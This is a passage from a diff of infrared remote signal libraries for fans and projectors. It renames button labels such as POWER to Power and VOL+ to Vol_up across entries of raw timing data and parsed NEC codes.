1273 479 1246 1330 416 448 7967 1300 409 1299 410 446 1273 1299 412 1298 419 446 1280 446 1281 446 1281 446 1281 446 1279 1298 419 446 7958 1298 411 1297 410 446 1273 1298 412 1298 419 446 1280 446 1281 445 1281 446 1281 445 1279 1298 419 446 7967 1298 410 1298 411 445 1274 1297 413 1297 420 445 1281 445 1281 445 1281 445 1282 445 1279 1298 420 445 7957 1297 411 1297 411 445 1274 1297 413 1297 420 445 1281 445 1281 445 1282 444 1282 444 1280 1296 420 445 7962 1297 411 1297 411 445 1274 1297 413 1297 420 445 1282 444 1282 444 1282 444 1282 444 1280 1297 421 444 7957 1296 412 1297 411 444 1275 1296 414 1296 421 444 1282 444 1283 443 1283 443 1282 444 1281 1296 421 444 7968 1296 412 1296 412 444 1275 1296 414 1296 421 444 1283 443 1283 443 1283 443 1283 443 1281 1296 422 443 7958 1295 413 1295 413 443 1276 1295 415 1295 422 443 1283 443 1284 442 1284 442 1284 442 1282 1294 422 443 7970 1293 414 1294 414 442 1277 1294 416 1294 423 442 1284 442 1309 417 1309 417 1309 417 1307 1269 424 441 7978 1270 416 1292 414 442 1302 1269 440 1270 424 441 1309 417 1309 417 1310 417 1309 417 1307 1270 448 417 7994 1269 439 1269 439 416 1302 1269 441 1269 448 416 1310 416 1310 416 1310 416 1310 416 1308 1269 448 416 7984 1269 439 1268 440 416 1303 1268 442 1267 449 415 1310 416 1310 416 1310 416 1310 416 1309 1268 449 416 7994 1268 440 1268 440 415 1303 1268 442 1268 449 415 1311 415 1311 415 1311 415 1311 415 1309 1267 450 415 7985 1267 441 1267 441 414 1304 1266 444 1267 450 414 1311 415 1312 413 1312 414 1312 414 1310 1265 452 414 7991 1266 442 1242 466 413 1306 1241 468 1242 475 414 1337 388 1338 388 1338 388 1338 388 1336 1217 501 386 8013 1215 492 1216 492 387 1331 1216 494 1216 501 363 1363 362 1363 363 1363 363 1363 387 1338 1215 502 362 8047 1215 493 1215 492 363 1356 1215 495 1215 502 362 1364 361 1364 362 1364 362 1364 362 1363 1214 503 361 8063 1189 494 1214 494 361 1382 1189 496 1214 503 361 1390 335 1391 335 1391 335 1391 335 1389 1188 529 335 8074 1188 520 1188 520 334 1385 1187 522 1187 529 334 1392 333 1417 308 1418 308 1419 307 1417 1161 556 307 8092 1160 547 1161 547 307 1412 1160 550 1160 557 306 1419 306 1446 279 1421 305 1446 279 1445 1133 584 279 8125 1133 575 1133 576 277 1466 1106 603 1107 611 251 1474 251 1501 224 1502 224 1528 186 1511 1079 638 224 8228 1025 735 972 2640 786 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 01 00 00 00 command: 1A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 1D 00 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NEC address: 01 00 00 00 command: 18 00 00 00 # -name: TIMER +name: Timer type: parsed protocol: NEC address: 01 00 00 00 command: 0D 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 DE 00 00 command: 00 FF 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NECext address: 80 DE 00 00 command: 08 F7 00 00 # -name: SPEED- +name: Speed_dn type: parsed protocol: NECext address: 80 DE 00 00 command: 10 EF 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4640 4393 562 1442 562 1443 562 1443 537 1470 535 1468 562 1444 562 2398 562 1444 562 1446 560 2424 535 1470 535 2425 534 1472 533 1473 533 2427 533 1474 531 1473 4577 4456 531 1473 531 1474 532 1474 531 1474 532 1474 531 1474 531 2429 531 1474 531 1474 531 2429 531 1474 531 2429 531 1474 531 1474 531 2429 531 1474 531 14007 9125 2259 530 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4609 4425 563 1441 563 1442 563 1442 538 1469 537 1469 561 1444 562 2400 560 1470 535 1470 536 1470 536 2424 536 1470 535 1471 534 1472 533 2427 533 2427 533 1472 4580 4454 531 1472 533 1474 532 1474 531 1474 532 1474 532 1474 532 2428 532 1474 532 1474 532 1474 532 2428 532 1474 532 1474 532 1474 532 2428 532 2429 532 14008 9127 2258 528 50213 9131 2253 532 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 4607 4424 563 1441 563 1443 563 1444 536 1469 537 1469 537 1496 534 2399 561 1470 535 2424 536 1470 536 1470 535 2424 535 1471 534 1472 534 1472 533 2427 533 1472 4579 4455 531 1472 532 1474 532 1474 532 1474 532 1474 532 1474 532 2429 531 1474 532 2428 532 1474 532 1474 532 2429 532 1474 532 1474 532 1474 532 2428 532 14007 9125 2258 530 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 4604 4427 561 1442 562 1443 561 1444 537 1469 536 1469 562 1445 561 2399 560 1446 559 2424 534 1472 533 2426 533 1473 532 2428 531 1475 531 1474 531 1474 531 1473 4575 4457 530 1473 531 1475 531 1475 530 1475 531 1475 531 1475 530 2429 531 1475 530 2429 530 1475 530 2430 530 1475 530 2429 531 1475 531 1475 531 1475 530 14008 9122 2260 530 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 4582 4424 562 1442 562 1471 534 1471 509 1496 510 1496 534 1472 534 2424 536 1470 536 1470 536 1470 536 1470 535 2424 535 2425 534 2426 534 1472 533 1473 533 1472 4581 4453 532 1472 532 1473 533 1473 533 1473 533 1473 533 1473 533 2428 532 1473 532 1473 532 1474 532 1474 532 2428 533 2428 532 2428 532 1474 532 1474 532 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1369 311 1327 312 498 1162 1286 355 1285 362 457 1221 458 1221 458 1221 458 1222 457 1221 458 1219 1312 6796 1310 330 1282 356 454 1219 1281 360 1280 367 452 1227 452 1227 452 1227 452 1227 452 1227 452 1225 1280 6815 1280 359 1279 359 451 1220 1280 361 1279 368 451 1228 451 1228 451 1228 451 1228 451 1228 451 1226 1279 6827 1279 382 1256 382 428 1245 1255 384 1256 391 427 1251 428 1252 426 1252 427 1252 427 1252 427 1250 1255 6838 1255 383 1255 383 426 1245 1255 385 1255 392 426 1252 427 1252 426 1252 426 1252 427 1252 426 1250 1255 6849 1255 383 1255 383 426 1245 1255 385 1254 392 426 1252 426 1252 426 1252 426 1252 426 1252 426 1250 1254 6835 1254 383 1254 383 426 1245 1254 385 1254 392 426 1252 426 1252 426 1252 426 1252 426 1252 426 1250 1254 6852 1254 383 1254 384 425 1245 1254 386 1253 392 426 1253 425 1252 426 1252 426 1253 425 1253 425 1251 1253 6835 1253 384 1253 384 425 1245 1253 386 1253 393 425 1252 425 1253 425 1253 425 1253 425 1253 425 1251 1253 6852 1252 384 1253 384 425 1246 1252 386 1253 393 425 1253 424 1253 425 1253 425 1254 424 1253 425 1252 1252 6835 1253 385 1252 385 424 1247 1252 387 1252 394 424 1254 424 1254 424 1254 424 1254 424 1254 424 1252 1251 6850 1251 386 1251 386 423 1248 1251 388 1250 395 423 1255 422 1256 422 1279 399 1280 398 1279 399 1277 1227 6862 1226 411 1226 411 398 1273 1226 413 1226 420 397 1280 398 1279 398 1280 397 1280 398 1280 398 1278 1226 6892 1226 411 1225 411 397 1273 1225 413 1225 420 397 1280 397 1280 398 1280 397 1280 397 1280 397 1279 1224 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1308 332 1305 332 479 1190 1309 333 1307 364 455 1199 479 1198 481 1198 480 1198 480 1197 1331 339 480 7657 1306 332 1305 332 479 1194 1304 335 1305 342 478 1201 477 1201 478 1201 477 1201 478 1199 1305 342 478 7647 1305 333 1304 333 478 1194 1304 335 1304 342 477 1201 477 1201 478 1201 477 1201 477 1199 1305 342 478 7660 1303 334 1304 333 478 1194 1304 336 1303 343 477 1202 477 1202 476 1202 477 1202 476 1200 1304 343 477 7647 1303 334 1304 334 476 1195 1303 336 1303 343 476 1202 476 1202 476 1202 476 1202 476 1200 1303 343 476 7659 1302 335 1302 335 476 1196 1302 337 1302 344 475 1203 475 1203 475 1203 475 1203 475 1201 1302 344 476 7646 1302 335 1300 338 474 1197 1300 338 1301 345 474 1204 474 1204 474 1204 449 1229 449 1227 1275 370 449 7690 1275 362 1275 361 449 1222 1275 364 1275 371 448 1230 448 1230 448 1231 447 1232 446 1229 1274 372 447 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1338 312 1380 310 446 1133 1313 356 1284 362 457 1221 457 1219 1285 363 456 1221 457 1222 482 1196 482 7655 1282 356 1281 357 453 1219 1279 360 1279 367 452 1226 452 1224 1280 367 452 1226 452 1226 452 1226 452 7671 1279 358 1279 358 452 1219 1279 360 1279 367 452 1227 451 1225 1279 367 451 1227 451 1227 451 1227 451 7682 1279 359 1278 359 451 1220 1278 361 1278 368 451 1227 450 1225 1278 368 451 1227 451 1228 450 1228 450 7691 1277 360 1277 360 450 1221 1277 362 1277 368 450 1228 449 1226 1277 369 449 1229 449 1252 426 1252 426 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1338 311 1326 312 497 1134 1364 311 1276 361 457 1221 457 1220 457 1218 1283 361 456 1221 456 1221 457 7676 1285 351 1285 351 457 1213 1286 353 1285 360 457 1220 457 1220 457 1219 1285 361 456 1221 456 1222 481 7639 1283 353 1284 353 455 1216 1283 356 1282 363 454 1223 455 1223 454 1221 1283 363 454 1223 454 1223 454 7676 1282 354 1282 354 454 1217 1282 356 1282 364 453 1223 454 1223 454 1221 1282 363 454 1224 453 1224 454 7681 1281 355 1281 355 453 1217 1281 357 1281 364 453 1225 452 1225 452 1222 1281 365 452 1225 452 1225 452 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 3565 3379 984 2506 984 2505 985 797 900 2590 900 2590 926 2572 926 826 925 829 922 858 894 859 894 858 895 2604 894 859 894 859 894 2596 894 859 894 859 894 867 894 2596 894 2596 894 2596 894 2596 894 2596 894 867 894 40343 3530 3468 895 2596 894 2596 894 859 894 2596 894 2596 894 2604 894 859 894 859 894 859 894 859 894 859 894 2604 894 859 894 859 894 2596 894 859 894 859 894 867 894 2596 894 2596 894 2596 894 2596 895 2596 894 866 895 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 3595 3377 930 2561 929 2561 929 853 900 2591 899 2590 900 2597 901 2590 925 2565 924 2567 922 2570 920 2596 894 866 895 858 895 858 895 2596 894 858 895 859 894 866 895 858 895 858 895 858 895 859 894 858 895 2604 894 40343 3533 3467 895 2595 895 2596 894 858 895 2596 894 2596 894 2604 895 2596 894 2596 894 2596 894 2596 894 2596 894 867 894 859 894 859 894 2596 894 859 894 859 894 867 894 859 894 859 894 859 894 859 894 859 894 2605 893 40319 3533 3442 920 2595 895 2596 894 858 895 2596 894 2596 894 2604 894 2596 894 2596 894 2596 894 2596 894 2596 894 867 894 859 894 859 894 2596 894 859 894 859 894 867 894 859 894 859 894 859 894 859 894 859 894 2604 894 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 3594 3380 981 2505 930 2560 930 853 900 2590 900 2590 900 2598 900 2589 900 853 924 2568 921 2571 919 2596 894 867 894 859 894 859 894 2596 894 859 894 859 894 867 894 859 894 2596 894 859 894 859 894 859 894 2604 894 40335 3532 3467 895 2596 894 2596 895 859 894 2596 894 2596 894 2605 894 2596 894 859 894 2596 894 2597 894 2596 894 867 894 859 894 859 894 2596 894 859 894 859 894 867 894 859 894 2597 894 859 894 859 894 859 894 2605 893 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 3534 3439 954 2505 985 2535 955 798 954 2535 899 2591 899 2599 899 853 925 2566 924 2567 922 2596 894 2596 894 867 894 859 894 860 893 2597 894 859 894 859 894 867 894 2597 893 859 894 859 894 860 893 859 894 2605 894 40336 3531 3469 894 2597 893 2597 893 859 894 2597 893 2597 893 2605 893 860 893 2597 893 2597 893 2597 894 2597 893 868 893 860 893 860 893 2597 893 860 893 860 893 868 893 2597 893 860 893 860 893 860 893 860 893 2605 893 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 1A 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1370 314 1375 320 519 1167 1370 322 1339 350 465 1221 467 1222 467 1222 466 1221 467 1221 467 1221 1317 7067 1317 372 1341 349 491 1198 1340 352 1337 353 486 1202 486 1226 462 1226 462 1227 461 1227 462 1227 1311 7073 1312 378 1311 378 462 1227 1311 378 1312 378 462 1227 462 1227 461 1227 462 1227 461 1227 461 1227 1311 7074 1311 378 1311 378 462 1227 1311 379 1310 379 461 1228 461 1228 460 1228 460 1228 460 1229 459 1228 1310 7076 1309 381 1309 380 460 1229 1310 381 1309 381 458 1230 458 1230 459 1230 459 1230 459 1230 458 1230 1309 7077 1309 380 1310 380 460 1229 1310 380 1310 380 459 1229 460 1229 459 1229 460 1229 459 1229 459 1229 1310 7075 1310 379 1310 380 459 1229 1310 380 1310 379 460 1229 460 1229 459 1229 460 1228 460 1229 459 1229 1310 7074 1310 380 1310 379 460 1229 1310 379 1310 379 460 1229 459 1229 459 1229 460 1229 460 1229 460 1228 1311 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1394 321 1369 321 520 1141 1397 321 1368 321 519 1142 495 1194 495 1194 494 1195 494 1195 1366 351 491 7891 1341 350 1337 353 487 1201 1337 354 1336 354 487 1202 487 1202 487 1202 487 1202 487 1202 1336 354 487 7900 1336 354 1337 354 486 1202 1337 354 1336 354 487 1202 487 1202 487 1203 486 1202 487 1202 1336 354 487 7901 1335 354 1336 354 487 1203 1335 354 1336 355 486 1203 486 1203 486 1203 486 1203 486 1203 1335 355 486 7900 1335 355 1335 355 486 1203 1335 355 1335 355 486 1203 486 1204 485 1204 485 1204 485 1203 1335 356 485 7900 1334 356 1334 356 485 1204 1334 356 1334 356 485 1204 485 1204 484 1204 485 1204 485 1204 1333 357 484 7901 1333 357 1333 380 460 1228 1310 380 1310 380 460 1228 460 1228 460 1228 460 1228 460 1228 1310 380 460 7924 1309 380 1310 380 460 1229 1309 380 1310 380 460 1229 459 1229 460 1229 459 1230 459 1230 1309 381 458 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1343 372 1318 372 467 1194 1346 372 1318 372 467 1193 525 1164 1400 319 495 1166 523 1166 523 1167 521 7890 1344 347 1340 350 489 1200 1339 351 1339 351 488 1201 488 1201 1338 351 488 1201 488 1201 488 1201 488 7899 1338 352 1338 352 487 1201 1339 352 1338 352 488 1201 488 1201 1339 352 487 1202 487 1201 488 1201 488 7899 1338 352 1338 352 487 1201 1338 352 1338 352 487 1202 487 1202 1337 353 486 1202 487 1202 487 1202 487 7900 1337 353 1337 353 486 1202 1338 353 1337 353 486 1202 487 1202 1338 353 486 1202 487 1202 487 1202 487 7900 1337 353 1337 353 486 1203 1336 354 1336 354 485 1203 486 1204 1335 354 485 1203 485 1203 486 1203 486 7901 1336 378 1312 355 484 1205 1335 378 1312 378 461 1227 462 1227 1313 378 461 1228 461 1228 461 1228 461 7925 1312 378 1312 378 461 1228 1311 378 1312 378 461 1228 461 1228 1312 378 461 1228 461 1228 461 1228 461 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1370 319 1371 321 519 1167 1371 322 1366 324 488 1198 466 1222 466 1222 1317 375 464 1221 467 1220 468 7915 1317 372 1341 350 490 1197 1340 376 1313 377 462 1226 462 1226 462 1226 1312 377 462 1226 462 1226 462 7921 1312 377 1313 377 462 1226 1312 377 1312 377 462 1226 462 1226 462 1226 1312 378 462 1226 462 1226 462 7922 1312 377 1313 377 462 1226 1313 377 1312 377 462 1226 462 1226 462 1226 1313 377 462 1226 462 1226 462 7921 1312 377 1312 377 462 1226 1312 377 1313 377 462 1226 462 1226 462 1226 1312 377 462 1226 462 1226 462 7921 1312 377 1313 377 462 1226 1313 377 1312 354 485 1202 486 1202 486 1202 1337 352 487 1202 487 1201 487 7897 1337 352 1337 351 488 1200 1339 351 1339 352 487 1201 487 1201 488 1201 1338 352 487 1201 487 1201 488 7896 1338 352 1337 352 487 1201 1337 352 1337 352 487 1201 487 1201 487 1201 1338 352 487 1201 487 1201 487 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 diff --git a/assets/resources/infrared/assets/projectors.ir b/assets/resources/infrared/assets/projectors.ir index 43c3723ef..673120e61 100644 --- a/assets/resources/infrared/assets/projectors.ir +++ b/assets/resources/infrared/assets/projectors.ir @@ -4,908 +4,908 @@ Version: 1 # Last Checked 17th May, 2023 # # ON -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 310 27591 171 27662 241 27731 307 27575 107 27749 306 27551 130 55520 243 27614 217 55584 129 27743 119 27756 115 27747 163 27712 308 27502 243 27650 217 27732 175 27693 167 27698 166 27689 171 27622 215 27712 133 27658 216 27716 129 27732 162 27698 305 27571 131 27753 310 27570 170 27707 162 27707 175 10960 9194 4518 618 542 618 543 725 434 672 1623 671 1647 646 514 592 568 592 568 592 1702 592 568 592 567 593 1702 592 568 618 1676 618 1676 618 1676 618 543 617 543 617 543 617 1677 617 544 616 544 616 544 616 544 616 1678 616 1678 616 1678 616 544 616 1678 616 1679 615 1678 616 1678 616 40239 9196 2250 617 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 08 00 00 00 command: 48 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 08 00 00 00 command: 49 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 08 00 00 00 command: 14 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 08 00 00 00 command: 0B 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 01 00 00 00 command: 40 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 01 00 00 00 command: 48 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 01 00 00 00 command: 44 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 30 00 00 command: 83 7C 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 30 00 00 command: 82 7D 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 08 13 00 00 command: 87 78 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9055 4338 672 1551 669 1553 618 1603 619 481 617 482 616 481 617 507 591 1605 645 479 619 1577 645 1578 644 1578 644 479 619 480 618 1581 641 480 617 1605 617 1606 616 1606 615 483 615 1608 614 484 614 484 614 484 614 484 614 484 614 484 614 1609 614 484 614 1609 614 1609 613 1609 613 40058 9000 2068 614 95467 9022 2068 614 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 87 4E 00 00 command: 29 D6 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 87 4E 00 00 command: 08 F7 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 87 4E 00 00 command: 04 FB 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 83 55 00 00 command: 93 6C 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 02 00 00 00 command: 15 00 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9032 4462 598 501 627 1604 627 530 598 531 677 423 706 422 706 421 707 451 677 1554 677 451 598 1633 598 1634 597 1634 598 1634 598 1634 625 1606 681 1550 626 502 598 530 599 529 600 1632 600 528 600 528 601 528 601 528 601 1631 600 1631 625 1607 625 504 625 1607 624 1608 624 1608 623 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 02 00 00 00 command: 02 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 02 00 00 00 command: 1D 00 00 00 # # ON -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9096 4436 620 505 647 478 648 501 623 1599 647 1624 623 502 623 503 621 504 619 1628 618 507 617 507 617 1630 617 508 616 1630 617 1630 617 1631 616 508 616 508 617 508 616 1631 616 508 617 508 617 508 616 508 616 1630 616 1630 616 1631 616 508 616 1630 617 1630 617 1630 617 1631 617 509 616 508 616 509 616 509 616 509 616 509 615 509 616 508 617 1631 616 1631 615 1631 616 1631 616 1631 616 1631 616 1631 615 1631 616 14435 9093 2186 615 96359 9095 2184 617 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9091 4465 594 530 595 530 594 530 594 1651 595 1652 595 529 621 504 620 504 619 1628 618 507 617 508 616 1631 616 509 615 1631 616 1631 616 1632 615 509 616 509 616 509 615 1631 616 509 616 508 616 1631 616 509 616 1631 615 1631 616 1631 617 508 616 1631 616 1631 616 508 616 1631 617 508 617 509 616 509 616 509 616 509 616 509 616 509 616 509 616 1631 616 1631 616 1631 616 1631 616 1631 615 1631 615 1631 615 1631 616 14435 9090 2190 615 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 9092 4439 620 506 619 506 618 530 593 1627 620 1630 643 504 620 505 618 506 617 1630 617 508 616 508 616 1632 616 508 617 1631 616 1631 616 1631 616 1631 616 509 616 508 616 1631 616 509 616 509 615 1632 616 509 616 508 616 1631 616 1631 616 508 616 1631 615 1631 616 509 615 1632 615 509 616 509 616 509 616 509 616 509 616 510 615 509 616 509 616 1631 616 1631 615 1631 616 1631 615 1631 615 1631 615 1631 615 1631 615 14434 9088 2191 615 96339 9115 2189 616 96343 9117 2189 616 96343 9114 2189 616 -# AV-MUTE -name: MUTE +# AV-Mute +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9092 4439 620 506 618 506 618 530 594 1627 619 1629 643 505 619 505 619 506 617 1629 617 508 616 508 616 1631 616 508 616 1630 616 1630 616 1630 617 1630 616 1630 616 1631 616 508 616 508 616 508 616 1631 616 508 617 508 616 508 616 508 616 1630 616 1631 615 1631 616 508 616 1631 616 508 617 508 616 509 615 509 616 508 616 509 615 509 616 508 616 1631 615 1631 615 1631 616 1631 615 1631 615 1631 615 1631 615 1631 616 14433 9088 2191 615 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9014 4332 661 1570 661 471 660 473 658 474 657 476 655 498 633 498 634 502 633 499 633 1599 632 1599 632 1599 632 1599 632 1599 632 1600 631 1603 632 500 632 501 631 501 631 501 631 501 631 501 631 1601 631 504 631 1601 631 1601 631 1601 631 1601 631 1601 630 1601 630 501 631 1601 631 38177 8983 2149 630 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 01 00 00 00 command: 11 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 01 00 00 00 command: 4C 00 00 00 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9042 4306 690 1541 665 468 664 468 664 469 663 470 662 471 660 495 636 499 636 497 634 1597 634 1598 633 1598 633 1599 633 1599 632 1599 633 1603 632 1599 633 499 633 499 633 500 632 499 633 500 632 1600 632 503 633 500 632 1600 632 1600 632 1600 633 1600 632 1600 632 500 632 1600 632 37912 8986 2145 633 # ON -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 3522 1701 472 426 444 1269 472 426 444 426 443 427 443 427 443 426 444 427 443 426 444 427 442 428 441 429 440 431 438 1304 437 433 437 433 438 433 437 433 437 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 1305 436 434 436 434 436 1305 436 435 435 435 435 435 435 435 435 435 435 435 435 435 435 459 411 459 411 459 411 1330 411 1330 411 1330 411 1330 411 1330 411 460 410 459 411 459 411 1330 411 1330 411 460 410 1330 411 1330 411 1331 410 1330 411 74392 3516 1736 436 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 434 436 433 437 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 435 435 1305 436 435 435 435 435 1306 435 435 435 435 435 435 435 436 434 436 434 436 434 435 435 436 434 436 434 436 434 1330 411 1331 410 1330 411 1330 411 1330 411 459 411 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74392 3515 1736 437 433 437 1304 437 433 437 433 437 434 436 433 437 434 436 433 437 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 435 436 434 436 1306 435 435 435 435 435 1306 435 435 435 435 435 435 435 435 435 435 435 436 434 436 434 435 435 436 434 435 435 1306 435 1330 411 1307 434 1331 410 1308 433 436 434 436 434 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74392 3515 1736 437 433 437 1304 437 434 436 433 437 434 436 433 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 435 435 434 436 434 436 434 436 434 436 434 436 1306 435 435 435 435 435 435 435 1306 435 435 435 436 434 1306 435 435 435 436 434 436 434 435 435 436 434 436 434 460 410 460 410 460 410 460 410 1331 410 1331 410 1331 410 1331 410 1331 410 460 410 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74392 3515 1736 437 433 437 1304 437 433 437 434 436 434 436 433 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 434 436 434 436 435 435 435 435 434 436 1306 435 434 436 435 435 435 435 1306 435 436 434 435 435 1306 435 435 435 436 434 436 434 436 434 436 434 460 410 437 433 459 411 460 410 460 410 1331 410 1331 410 1331 410 1331 410 1331 410 460 410 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74393 3514 1736 437 434 436 1304 437 433 437 434 436 433 437 434 436 433 437 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 435 435 434 436 434 436 435 435 434 436 1305 436 435 435 435 435 435 435 1306 435 435 435 435 435 1306 435 435 435 436 434 435 435 459 411 436 434 435 435 459 411 459 411 459 411 459 411 1330 411 1306 435 1330 411 1330 411 1331 410 460 410 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 # ON -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 529 7218 126 6585 219 703 180 5362 427 18618 177 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9069 4362 622 486 621 487 621 491 622 1608 623 1603 622 487 621 487 621 491 622 1604 621 487 622 491 622 1604 621 491 622 1608 622 1609 621 1604 622 486 622 487 621 491 621 1605 621 487 621 491 622 1604 622 491 621 1609 621 1609 621 1604 622 491 621 1609 622 1604 621 491 621 1604 622 487 621 487 622 486 622 487 621 488 621 487 621 488 620 491 621 1609 622 1609 620 1609 621 1609 621 1609 621 1609 621 1609 621 1618 621 14330 9047 2137 620 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 9047 4362 621 486 622 463 645 490 622 1609 622 1604 622 487 620 487 621 491 622 1604 622 484 625 490 621 1605 649 463 621 1609 620 1611 621 1608 622 1605 621 486 622 491 622 1604 621 487 621 492 620 1604 621 488 621 492 620 1609 622 1604 621 492 622 1609 620 1605 621 491 622 1603 622 488 621 488 620 488 620 488 621 488 620 487 622 485 621 492 596 1635 621 1609 622 1585 643 1611 620 1608 621 1610 619 1611 620 1619 619 14332 9074 2109 647 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9073 4336 648 461 647 484 624 489 623 1607 623 1603 622 486 622 486 622 491 622 1604 621 487 621 491 622 1604 622 491 621 1609 621 1609 621 1609 621 1608 622 1609 621 1604 621 486 622 486 622 491 622 1604 622 486 622 487 621 487 621 491 622 1608 622 1609 621 1604 622 491 621 1604 621 487 621 486 622 487 621 487 621 487 621 487 621 487 621 491 622 1608 622 1608 622 1609 621 1608 622 1608 622 1608 622 1609 621 1617 622 14330 9047 2137 620 # ON -name: POWER +name: Power type: parsed protocol: NECext address: 83 F4 00 00 command: 4F B0 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 19 00 00 command: 10 EF 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 80 19 00 00 command: 1C E3 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 80 19 00 00 command: 46 B9 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 51 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 40 40 00 00 command: 0A F5 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 30 00 00 command: 4E B1 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 30 00 00 command: 0E F1 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 30 00 00 command: 0D F2 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 30 00 00 command: 4F B0 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 30 00 00 command: 14 EB 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 08 16 00 00 command: 87 78 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 08 16 00 00 command: C8 37 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 01 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 01 00 00 00 command: 02 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 01 00 00 00 command: 28 00 00 00 # -name: VOL- +name: Vol_dn 